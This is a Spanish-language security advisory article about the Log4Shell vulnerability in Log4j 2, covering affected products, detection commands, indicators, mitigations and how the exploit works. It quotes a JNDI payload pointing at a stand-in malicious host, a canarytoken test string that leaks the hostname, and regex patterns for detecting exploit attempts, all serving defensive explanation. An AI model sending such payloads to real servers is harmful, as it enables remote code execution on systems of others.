#Log4Shell: vulnerabilidad crítica con exploit para #Log4j 2 (PARCHEA YA!) - Actualizado CVE-2021-44228 ~ Segu-Info

Hace unas horas, se publicó un exploit Zero-Day en la popular biblioteca de registro de Java Log4j (2.0 - 2.14.1) que da como resultado la Ejecución Remota de Código (RCE) al registrar una determinada cadena. Un atacante puede construir un paquete especial de solicitud de datos, que finalmente desencadena la RCE.

Apache Log4j es una herramienta de registro basada en el lenguaje de programación Java yse utiliza ampliamente en el desarrollo de sistemas empresariales para registrar información.

Versión afectada: 2.0 <= Apache log4j2 <= 2.14.1

Hemos publicado un video del funcionamiento del exploit y un herramienta para buscar IPs afectadas

El 24 de noviembre de 2021, el equipo de seguridad de Alibaba Cloud informó oficialmente de la vulnerabilidad de ejecución remota de código de Apache Log4j. Debido a que algunas funciones de Apache Log4j realizan análisis recursivo, los atacantes pueden construir directamente solicitudes maliciosas para desencadenar vulnerabilidades de ejecución remota de código. La explotación de la vulnerabilidad no requiere una configuración especial. Tras la verificación por parte del equipo de seguridad de Alibaba Cloud se ven afectados:

Apache Struts2
Apache Solr
Apache Druid
Apache Flink

Dado lo ubicua que es esta biblioteca, el impacto del exploit (control total del servidor) y lo fácil que es explotar, la vulnerabilidad es crítica. Lo llamamos "Log4Shell" para abreviar.

Hay sospechas de que hacía mucho tiempo que se conocía el vector de ataque. Es interesante analizar como grandes vendors de la industria emplean componentes de software libre, sin interesarse en la seguridad de los mismos. Parece que se sigue asociando software libre a software gratuito.

El Zero-Day se tuiteó junto con un PoC publicado en GitHub. Se ha publicado como CVE-2021-44228 (info oficial).

¿Quién se ve afectado?

Muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como en Steam, Apple iCloud, y aplicaciones como Minecraft son vulnerables (video). Muchos proyectos de código abierto como el servidor de Minecraft, Paper, Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket, ya han comenzado a parchear el uso de Log4j. Se ha demostrado que simplemente cambiar el nombre de un iPhone desencadena la vulnerabilidad en los servidores de Apple.

Cualquiera que use Apache Struts probablemente también sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.

Los exploits comenzaron a aparecer el pasado 1 de diciembre, según Cloudflare, y una alerta inicial de CERT Nueva Zelanda provocó otros por parte de CISA y el Centro Nacional de Seguridad Cibernética del Reino Unido. El Centro Nacional de Seguridad Cibernética de los Países Bajos publicó una larga lista de software que se ve afectado por la vulnerabilidad.

Según esta publicación de este blog, las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque LDAP. En estas versiones, com.sun.jndi.ldap.object.trustURLCodebase se establece en False, lo que significa que Java Naming and Directory Interface (JNDI) no puede cargar código remoto utilizando LDAP.

Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE. Un atacante aún podría aprovechar el código existente en el servidor para ejecutar una carga útil. En esta publicación se analiza un ataque dirigido a la clase org.apache.naming.factory.BeanFactory, presente en los servidores Apache Tomcat.

Si encuentra estos hashes, entonces tiene el Log4j vulnerable en sus sistemas.
La presencia de archivos JAR que pertenecen a la biblioteca Log4j puede indicar que una aplicación es potencialmente susceptible a CVE-2021-44228. Los archivos específicos para buscar deben coincidir con el siguiente patrón: "log4j-core-*.jar"
Dependiendo del método de instalación, la ubicación del archivo JAR coincidente también puede dar indicaciones sobre qué aplicación es potencialmente vulnerable. Por ejemplo, en Windows, si el archivo se encuentra en C:\Program Files\ApplicationName\log4j-core-version.jar, indica que ApplicationName debe investigarse.
En Linux, la utilidad lsof puede mostrar qué procesos tienen actualmente el archivo JAR en uso y se pueden ejecutar mediante la siguiente sintaxis: lsof /path/to/log4j-core-version.jar;
Actualmente, la guía de detección en forma de firmas de expresión regular en el espacio público parece ser demasiado amplia y han surgido varias variantes para eludirlos. Randori recomienda filtrar las solicitudes entrantes que contienen la cadena "$ {jndi:" enviadas a sistemas sospechosos

Detección del ataque e IOCs

Florian Roth (aka cyb3rops) creó un repositorio con algunas opciones para la detección y la mitigación así como las reglas de YARA correspondientes. Estos comandos buscan distintos intentos de explotación en /var/log:

# sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i 
  '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
# sudo find /var/log/test/ -type f -exec sh -c "cat {} | 
  sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"\;
# sudo find /var/log/test/ -name "*.gz" -type f -exec sh -c "zcat {} |
  sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

Actualizaciones

Se han publicado las reglas de Suricata y Snort y un plugin para Burp.

Ya se ha iniciado la explotación masiva de esta vulnerabilidad principalmente por operadores de malware para el criptominado. GreyNoise ha publicado un listado de IPs, IOCs y Hashes de atacantes, las que corresponden principalmente a nodos de salida TOR.

Aquí hay una lista de IPs actualizada cada hora (by CriticalPathSecurity).

Se ha publicado la lista de productos vulnerables.

Se han publicado varias herramientas para el análisis de dominios:

https://github.com/fullhunt/log4j-scan
https://github.com/alexandre-lavoie/python-log4rce
https://github.com/nice0e3/log4j_POC
Microsoft publicó una extensa guía para sus clientes y AD
Herramienta para detectar productos vulnerables
Grype: busca las librerías vulnerables
Syft: busca las librerías vulnerables

Listado de avisos de todas las empresas:

AWS WAF esta integrado a los Application Load Balancers, a los API Gateways y a las distribuciones de AWS CloudFront, para proteger las aplicaciones de Log4Shell (y 2).

Mitigación permanente

La versión 2.15.0 de Log4j corrige la vulnerabilidad (requiere Java 8).

Para versiones antiguas se puede renombrar o eliminar el archivo JndiLookup.class
Anuncio oficial de seguridad de log4j.

Mitigación temporal

Hay una discusión en HackerNews sobre el tema para la versión 2.10.0. Para mitigar la vulnerabilidad en lugar de actualizar Log4j, el siguiente parámetro debe establecerse en true al iniciar la máquina virtual Java: log4j2.formatMsgNoLookups;

La empresa de ciberseguridad Cybereason lanzó un script o "vacuna" que aprovecha la vulnerabilidad para desactivar una configuración en una instancia remota y vulnerable de Log4Shell. Básicamente, la vacuna corrige la vulnerabilidad explotando el servidor vulnerable.

La herramienta llamada Logout4Shell cambia algunas propiedades del sistema log4j2.formatMsgNoLookups = true, elimina la clase JndiLookup del classpath y, si el servidor tiene Java> = 8u121, cambia la configuración com.sun.jndi.rmi.object.trustURLCodebase y com.sun.jndi.cosnaming.object.trustURLCodebase.

Cómo funciona el exploit

Por ejemplo, una cadena de User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java. Es por eso que es vital que todo el software basado en Java que use Log4j versión 2 esté parcheado o que se apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que están en Java, lo que permite que suceda el exploit.

El atacante envía un parámetro manipulado al servidor (por HTTP u otro protocolo). Por ejemplo la siguiente cadena: ${jndi:ldap://sitio-malicioso.com/exp}
El servidor vulnerable recibe la solicitud con el payload.
La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.
Se ejecuta código en el servidor vulnerable.

Cisco Talos ha observado incluso el uso de amenazas basadas en correo electrónico que intentan explotar CVE-2021-44228. Los mensajes también pueden contener búsquedas JNDI maliciosas en diferentes ubicaciones, como encabezados, líneas de asunto, cuerpos, etc.

La siguiente imagen del usuario @Esferared lo explica a la perfección:

Una forma rápida de probar cualquier aplicación, la explica Thinkst Canary en su twit:

Generar un DNS token "Log4Shell" en https://canarytokens.org/generate#.
Usar el token generado valor en cualquier formulario, ingreso de dato, configuración, campo, parámetro, etc. de una aplicación. Por ejemplo: ${jndi:ldap://x${hostName}.TEST.nfdmo17lg5o2kr9m76cmp9a88.canarytokens.com/a}

Se recibe una notificación ante la vulnerabilidad.

Aquí (y aquí) se puede ver un ejemplo de una aplicación vulnerable y aquí un listado de formas de explotación actuales.

Herramientas de detección

Revisar si se está usando log4j

PowerShell

https://github.com/crypt0jan/log4j-powershell-checker
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path